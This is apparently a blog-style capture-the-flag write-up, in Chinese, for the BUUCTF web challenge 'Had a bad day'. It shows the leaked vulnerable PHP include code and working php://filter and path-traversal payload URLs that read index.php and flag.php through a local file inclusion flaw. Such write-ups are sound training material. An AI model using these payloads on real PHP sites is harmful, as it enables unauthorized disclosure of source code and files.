buuctf web had a bad day

2023-10-24 15:44:22

这题应该是入门送分题
打开场景，两个超链接，点进去，有猫有狗，带了一个category参数，后面是超链接名字
盲猜是任意文件读取，审计源码
发现了hint

 <div class="page-include">

那就说明我们的思路没问题，干就完了
尝试http://10b59fde-8bbb-479a-9ec5-103defcf5b60.node4.buuoj.cn:81/index.php?category=php://filter/convert.base64-encode/resource=index.php
报错了
观察原来的category参数，是没有文件后缀的，我们也试试

http://10b59fde-8bbb-479a-9ec5-103defcf5b60.node4.buuoj.cn:81/index.php?category=php://filter/convert.base64-encode/resource=index

回显了，base64编码，那么就解码

<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="Images that spark joy">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
    <title>Had a bad day?</title>
    <link rel="stylesheet" href="css/material.min.css">
    <link rel="stylesheet" href="css/style.css">
  </head>
  <body>
    <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
      <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
        <div class="mdl-layout__header-row">
          <span class="mdl-layout-title">Had a bad day?</span>
          <div class="mdl-layout-spacer"></div>
        <div>
      </header>
      <div class="page-ribbon"></div>
      <main class="page-main mdl-layout__content">
        <div class="page-container mdl-grid">
          <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
          <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
            <div class="page-crumbs mdl-color-text--grey-500">
            </div>
            <h3>Cheer up!</h3>
              <p>
                Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
              </p>
              <div class="page-include">
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
			</div>
          <form action="index.php" method="get" id="choice">
              <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
              <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
          </form>

          </div>
        </div>
      </main>
    </div>
    <script src="js/material.min.js"></script>
  </body>
</html>
关键代码
   <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

emmm…看起来好像只有woofers，meowers，index可以读
要不然试试目录穿越？woofers/…/flag成功

?category=php://filter/convert.base64-encode/index/../resource=flag

读取成功
后来查阅资料，别的师傅都写这里是利用php://filter伪协议可以套一层协议读取flag.php
?category=php://filter/convert.base64-encode/index/resource=flag这样也是可以的
?category=php://filter/convert.base64-encode/resource=index/../flag也行，说明index.php和flag.php在同级目录里
参考视频链接：https://www.bilibili.com/video/BV1uL411j7Q2/

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